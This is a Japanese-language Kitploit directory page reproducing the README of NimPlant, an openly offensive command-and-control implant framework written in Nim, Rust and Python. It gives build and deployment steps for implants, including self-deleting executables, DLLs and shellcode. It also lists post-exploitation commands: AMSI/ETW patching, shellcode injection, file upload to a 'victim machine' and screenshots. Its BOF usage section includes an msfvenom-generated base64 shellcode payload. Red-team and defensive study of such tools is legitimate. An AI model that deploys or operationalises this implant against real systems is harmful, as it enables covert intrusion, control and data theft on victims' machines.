Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/chvancooten/nimplant
ペネトレーションテストフレームワークペイロード生成ポストエクスプロイトコマンド&コントロールレッドチーミング
GitHubchvancooten/nimplant

NimPlant

Nim(およびRust)で書かれた軽量な初期段階C2インプラント。

リポジトリを見る
9511161年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

NimPlant - Nim|Rust および Python で書かれた軽量な初段階 C2 インプラント

GitHub Workflow Status PRs Welcome

作者: Cas van Cooten (@chvancooten), 素晴らしい方々に特に感謝します:

Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl) , Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), およびその他多数!

もし NimPlant が役に立った場合、または私の仕事全般を気に入っていただけた場合、サポートは大歓迎です:

Sponsor on GitHub

機能概要

  • Nim および Rust プログラミング言語で書かれた軽量で設定可能なインプラント
  • すべての作戦でクールに見える美しい Web GUI
  • デフォルトですべてのトラフィックを暗号化および圧縮、インプラントアーティファクト内の静的ストリングを難読化
  • ネイティブバイナリ (exe/dll)、シェルコード、自己削除実行可能ファイルなど、複数のインプラントタイプをサポート
  • ローカル列挙、ファイルまたはレジストリ管理、Web インタラクションなど、初期段階の操作に焦点を当てた幅広いコマンド選択
  • `inline-execute`、`shinject` (動的呼び出しを使用)、カスタム Runspace 内の `powershell`、またはスレッド内 `execute-assembly` を介した、より高度な機能やペイロードの簡単な展開
  • 任意のプラットフォームでの操作をサポート、インプラントは現時点では x64 Windows のみをターゲット
  • すべてのインタラクションとファイル操作の包括的なログ記録
  • まだまだたくさんあります。以下をご覧ください :)

手順

インストール

Nimplant を実行するには、Python3 の最新バージョンが必要です。

サーバー

  • サーバーフォルダから `requirements.txt` をインストールします (`pip3 install -r server/requirements.txt`)。

インプラント (Nim)

  • お使いのプラットフォームに Nim ツールチェーンをインストールします (`choosenim` 経由のインストールをお勧めします。`apt` は最新バージョンとは限らないため)。
  • Nimble パッケージマネージャーを使用して必要なパッケージをインストールします (`cd client; nimble install -d`)。
  • Linux または MacOS の場合、お使いのプラットフォームに `mingw` ツールチェーンをインストールします (`brew install mingw-w64` または `apt install mingw-w64`)。
  • 特に ArchLinux を使用している場合は、この gist に従って Mingw 設定を変更してください (@tothi に感謝!)。

インプラント (Rust)

  • Rust ツールチェーンをインストールします (`rustup` 経由のインストールをお勧めします)。
  • MinGW Windows ターゲットをインストール: `rustup target add x86_64-pc-windows-gnu`。
  • オプセキュリティ向上のため推奨: `Cargo.toml` に従って `~/.cargo/config.toml` ファイルを変更し、ナイトリービルドチェーンを使用します (`rustup default nightly`)。

注: Windows でコンパイルする場合でも、`x86_64-pc-windows-gnu` ターゲットが推奨されます。バイナリはわずかに大きくなりますが、結果の DLL からシェルコードを生成する際に、より安定しているようです。`rust-toolchain.toml` を変更してターゲットを `x86_64-pc-windows-msvc` に変更することもできますが、生成されたシェルコードはすべての場合で正しく動作しない可能性があります。

はじめに

設定

NimPlant を使用する前に、設定ファイル `config.toml` を作成します。`config.toml.example` をコピーして作業を開始することをお勧めします。

設定の概要を以下に示します。

コンパイル

設定が完了したら、ターゲットに展開するNimPlantバイナリを生成できます。現在、NimPlantは(自己削除)実行可能ファイル、ライブラリ、および位置独立シェルコード(sRDI経由)用に、それぞれ `.exe`、`.dll`、`.bin` バイナリをサポートしています。生成するには、`python nimplant.py compile` の後に希望のバイナリ(`exe`、`exe-selfdelete`、`dll`、`raw`、または `all`)を指定し、オプションでインプラントタイプ(`nim`、`rust`、`nim-debug`、または `rust-debug` - デフォルトではNimがコンパイルされます)を指定します。ファイルはそれぞれ `client/bin/` または `client-rs/bin/` に書き込まれます。

コンパイル時に新しいXORキーを生成して使用するには、`rotatekey` 引数を渡します。

注意:

  • 現在NimPlantはx64のみをサポートしています!

  • DLLファイルのエントリポイントは `Update` で、すべてのエントリポイントに対してDllMainによってトリガーされます。つまり、例えば `rundll32 .\NimPlant.dll,Update` を使用してトリガーしたり、お好みのLOLBINを使用してサイドロードしたりできます(`client/NimPlant.nim` または `client-rs/src/lib.rs` の変更が必要な場合があります)。``` PS C:\NimPlant> python .\nimplant.py compile all

    root@kitploit:~
                *    *(#    #
                **  **(##  ##
       ########       (       ********
      ####(###########************,****
         # ########       ******** *
         .###                   ***
         .########         ********
         ####    ###     ***    ****
       ######### ###     *** *********
     #######  ####  ## **  ****  *******
     #####    ##      *      **    *****
     ######  ####   ##***   **** .******
     ###############     ***************
          ##########     **********
             #########**********
               #######********
    

    | \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

    root@kitploit:~
      A light-weight stage 1 implant and C2 based on Nim|Rust and Python
      By Cas van Cooten (@chvancooten)
    

Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in 'client/bin/'.

root@kitploit:~
### Dockerによるコンパイル

Dockerを使用すると簡単で、依存関係の問題を回避できます。必要なビルド時および実行時の依存関係はすべてコンテナに事前インストールされているためです。

Dockerを使用するには、[Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) から公開されている `chvancooten/nimplant` コンテナ(CI/CD経由でビルド)を使用するか、ソースから `Dockerfile` をビルドします。

> ソースからビルドするには、メインディレクトリから以下を実行します:
> 
> ```bash
> docker build . -t nimplant
> ```

これにより、`nimplant:latest` というタグが付いたコンテナがビルドされます。注意:開発依存関係のため、時間がかかり、コンテナサイズが大きくなる可能性があります!

完了したら、コマンドラインからコンテナを実行してアーティファクトをコンパイルできます。```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust

注: これはコマンドの例です。マウントされたボリュームなどの引数は状況に合わせて調整してください。

サーバーの起動

バイナリの準備ができたら、NimPlantサーバーを起動できます!ローカルでコンパイルした場合、同じ config.toml ファイルから読み込むため、追加の設定は不要です。サーバーを起動するには、python nimplant.py server を実行するだけです(Linuxで実行する場合はsudo権限が必要です)。Nimplantがチェックインすると、コンソールを使用するか、Webインターフェース(デフォルトでは http://localhost:31337)にアクセスできます。

注記:

  • NimPlantサーバーをバイナリがコンパイルされたマシンとは別の場所で実行する場合は、config.toml と .xorkey の両方が一致していることを確認してください。一致していない場合、NimPlantは接続できません。

  • ウェブフロントエンドとAPIは認証をサポートしていないため、安全なリバースプロキシなしでフロントエンドポートを信頼できないネットワークに公開しないでください!

  • NimPlantがサーバーに接続できない、または接続が切れた場合、再登録を試みる前に指数バックオフ時間で5回再試行します。さらに5回の再登録に失敗すると(同じバックオフロジック)、自身を終了します。バックオフは失敗のたびにスリープ時間を3倍にします。例えば、スリープ時間が10秒の場合、10秒、次に30秒(3^1 * 10)、90秒(3^2 * 10)、270秒(3^3 * 10)、810秒待機した後、諦めます(これらのパラメータはハードコードされていますが、client/NimPlant.nim で変更可能です)。

  • ログは server/logs ディレクトリに保存されます。各サーバーインスタンスは新しいログフォルダを作成し、ログはコンソール/ニンプラントセッションごとに分割されます。ダウンロードとアップロード(Web GUI経由でアップロードされたファイルを含む)は、それぞれ server/uploads と server/downloads ディレクトリに保存されます。

  • Nimplantとサーバーの詳細は、server/nimplant.db のSQLiteデータベースに保存されます。このデータはサーバー再起動後のNimplantの復旧にも使用されます。

  • ログ、アップロード/ダウンロードファイル、およびデータベースは、nimplant.py を cleanup フラグ付きで実行することでクリーンアップできます。注意: これによりすべてが削除されるため、必要なものは事前にバックアップしてください!``` PS C:\NimPlant> python .\nimplant.py server

    root@kitploit:~
                *    *(#    #
                **  **(##  ##
       ########       (       ********
      ####(###########************,****
         # ########       ******** *
         .###                   ***
         .########         ********
         ####    ###     ***    ****
       ######### ###     *** *********
     #######  ####  ## **  ****  *******
     #####    ##      *      **    *****
     ######  ####   ##***   **** .******
     ###############     ***************
          ##########     **********
             #########**********
               #######********
    

[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.

root@kitploit:~
これにより、C2 APIと管理用Webサーバー(上記の例では`http://127.0.0.1:31337`)とNimPlantリスナー(上記の例では`https://0.0.0.0:443`)の両方が起動します。NimPlantがチェックインすると、Webインターフェースとコンソールの両方を使用してNimPlantにコマンドを送信できます。

### Dockerを使用したサーバーの起動

コンパイルに使用できる`chvancooten/nimplant`コンテナは、NimPlantサーバーの実行にも使用できます。NimPlantがサーバーを認識するには、`config.toml`と`.xorkey`ファイルがNimPlantがコンパイルされたマシンと一致している必要があります(同じDockerコンテナをコンパイルに使用した場合、これは自動的に正しくなります)。さらに、`config.toml`ファイルはDocker用に正しく設定する必要があり、特に管理サーバーIPはDocker経由で到達できるように`0.0.0.0`に設定する必要があります(ホストのローカルインターフェースのみに公開するように注意してください)。

以下のコマンド例でNimPlantサーバーを起動できます。```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server

注: これは例としてのコマンドです。マウントするボリュームなどの引数は、ご自身の状況に合わせて調整してください。

Dockerを使用すると、より複雑な構成を簡単にセットアップできます。例として、docker-exampleディレクトリにはdocker-compose.ymlファイルが含まれており、HTTPSを使用してNginxリダイレクタの背後にNimPlantを公開し、ダミーのランディングページを表示する方法を示しています。

Usage

使用可能なコマンドは以下の通りです。任意のコマンドの詳細なヘルプを表示するには、help [command]と入力してください。(GUI)と表記された特定のコマンドは、Webインターフェースを使用する際にグラフィカルに設定できます。これは、引数なしでコマンドを呼び出すことで行えます。``` Command arguments shown as [required] . Commands with (GUI) can be run without parameters via the web UI.

cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.

root@kitploit:~
#### Beacon Object Files (BOF) の使用

**注意: BOF は本質的に揮発性であり、欠陥のある BOF を実行したり、誤った引数や型を渡したりすると、NimPlant セッションがクラッシュする可能性があります! デプロイ前に BOF をテストしてください!**

NimPlant は、優れた [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) および [Coffee](https://github.com/hakaioffsec/coffee) (Rust) プロジェクトのおかげで、BOF のメモリ内ロードをサポートしています。BOF を実行するには、ローカルでコンパイルされた BOF オブジェクトファイル (通常は `bofname.x64.o` のような名前)、エントリポイント (一般的には `go`)、およびそれぞれの引数型を持つ引数のリストが必要です。引数はスペース区切りの `arg argtype` ペアとして渡されます。

引数は "Zzsib" 形式に従って指定されます。そのため、`string` (別名: `z`)、`wstring` (または `Z`)、`integer` (別名: `int` または `i`)、`short` (`s`)、`binary` (`bin` または `b`) のいずれかになります。バイナリ引数は、生のバイナリ文字列または base64 エンコードのいずれかで指定できます。悪い文字を避けるために、後者をお勧めします。

使用例 (優れた TrustedSec BOF [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF)、[2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] を例として) を以下に示します。`inline-execute` (引数なし) を使用して、GUI でコマンドをグラフィカルに設定できることに注意してください。```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

プッシュ通知

デフォルトでは、NimPlantはserver/util/notify.pyで定義されたnotify_user()フックを介したプッシュ通知をサポートしています。デフォルトでは、TELEGRAM_CHAT_IDとTELEGRAM_BOT_TOKEN環境変数が設定されている必要があるシンプルなTelegram通知を実装しています。もちろん、コードは独自のプッシュ通知機能で簡単に拡張できます。notify_user()フックは、新しいNimPlantがチェックインするときに呼び出され、NimPlantの詳細を含むオブジェクトを受け取り、それを必要に応じてプッシュできます。

フロントエンドのビルド

通常のユーザーであれば、Nimplantに付属するUIを変更したり再ビルドしたりする必要はありません。ただし、変更したい場合は、NodeJSをインストールし、uiディレクトリでnpm installを実行してください。次に、ui/build-ui.pyを実行します。これにより、パッケージの取得、Next.JSフロントエンドのコンパイル、およびNimplantサーバーが使用するための適切な場所へのファイルの配置が行われます。

本番環境での使用とOPSECに関する注意

NimPlantは学習プロジェクトとして開発され、透明性と教育目的のために公開されました。アンチウイルスやEDRの回避は、標準のインプラントの目標ではありません。大部分において、NimPlantはその意図を隠そうとはしていません。さらに、悪用を防ぐための保護措置が講じられています。つまり、徹底的なソースコードレビューと修正なしに、NimPlantをそのまま本番環境で使用しないでください!また、他のC2フレームワークと同様に、特定のコマンドを実行する際のOPSEC上の特徴についても、展開前に考慮する必要があります。NimPlantはconfig.tomlでriskyModeをfalseに設定することで、OPSEC上リスクのあるコマンドなしでコンパイルできます。

トラブルシューティング

Nimplantがコンパイルや実行に失敗する理由は多数あります。問題が発生した場合は、次の手順を(順番に)試してください。

  • 上記の「インストール」セクションで説明した手順に従ったことを確認し、すべての依存関係がインストールされ、バージョンが一致していることを再確認してください
  • 上記の「コンパイル」セクションで説明した手順に従ったことを確認し、依存関係の問題を除外するためにDockerコンテナを使用したことを確認してください
  • server/logsディレクトリ内のログでエラーを確認してください
  • nim-debugまたはrust-debugコンパイルモードを試して、コンソールとデバッグメッセージ(.exeのみ)でコンパイルし、エラーメッセージが返されるかどうかを確認してください
  • 別のOSまたは別のツールチェーンからコンパイルして、同じエラーが発生するかどうかを確認してください
  • 上記のすべてが失敗した場合は、Issueを提出してください。適切なビルド情報(OS、nim/rust/pythonのバージョン、依存関係のバージョン)と上記のトラブルシューティング手順の結果を必ず含めてください。不完全なIssueは予告なくクローズされる場合があります。
ツールをダウンロード
CategorySettingDescription
serveripC2 Webサーバー(APIを含む)がリッスンするIP。127.0.0.1の使用を推奨。C2を保護するための適切なファイアウォールまたはルーティングルールを設定している場合にのみ0.0.0.0を使用してください。
serverportC2 Webサーバー(APIを含む)がリッスンするポート。
listenertypeリスナーのタイプ。HTTP または HTTPS。HTTPS オプションは以下で設定。
listenersslCertPathHTTPS証明書ファイルへのローカルパス(例: LetsEncrypt CertBot または自己署名)。リスナータイプが 'HTTP' の場合は無視されます。
listenersslKeyPath対応するHTTPS証明書の秘密鍵ファイルへのローカルパス。設定されている場合、NimPlantサーバー実行時にパスワードが要求されます。リスナータイプが 'HTTP' の場合は無視されます。
listenerhostnameリスナーホスト名。空でない場合("")、NimPlantはこのホスト名を使用して接続します。このホストからNimPlantリスナーポートへのトラフィックが適切にルーティングされていることを確認してください。
listeneripリスナーIP。'hostname' が設定されている場合でも必須。サーバーがこのIPに登録するために使用されます。
listenerportリスナーポート。'hostname' が設定されている場合でも必須。サーバーがこのポートに登録するために使用されます。
listenerregisterPath新しいNimPlantが登録するURIパス。
listenertaskPathNimPlantがタスクを取得するURIパス。
listenerresultPathNimPlantが結果を送信するURIパス。
nimplantriskyModeリスクのあるコマンドをサポートしてNimPlantをコンパイルします。オペレーターの判断が必要です。無効にすると、`execute-assembly`、`powershell`、`shell`、`shinject` のサポートが削除されます。
nimplantsleepMaskNimplantに通常のスリープ呼び出しの代わりにEkkoスリープマスクを使用するかどうか。現時点では通常の実行可能ファイルでのみ機能します。
nimplantsleepTime新しいNimPlantのデフォルトのスリープ時間(秒)。
nimplantsleepJitter新しいNimPlantのデフォルトのジッター(パーセント)。
nimplantkillDateNimplantのキル日付(形式: yyyy-MM-dd)。この日付を過ぎるとNimplantは終了します。
nimplantuserAgentNimPlantが使用するユーザーエージェント。サーバーもこれを使用してNimPlantトラフィックを検証するため、目立たず、かつあまり一般的ではないUAを選択することをお勧めします。

| \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

root@kitploit:~
  A light-weight stage 1 implant and C2 written in Nim|Rust and Python
  By Cas van Cooten (@chvancooten)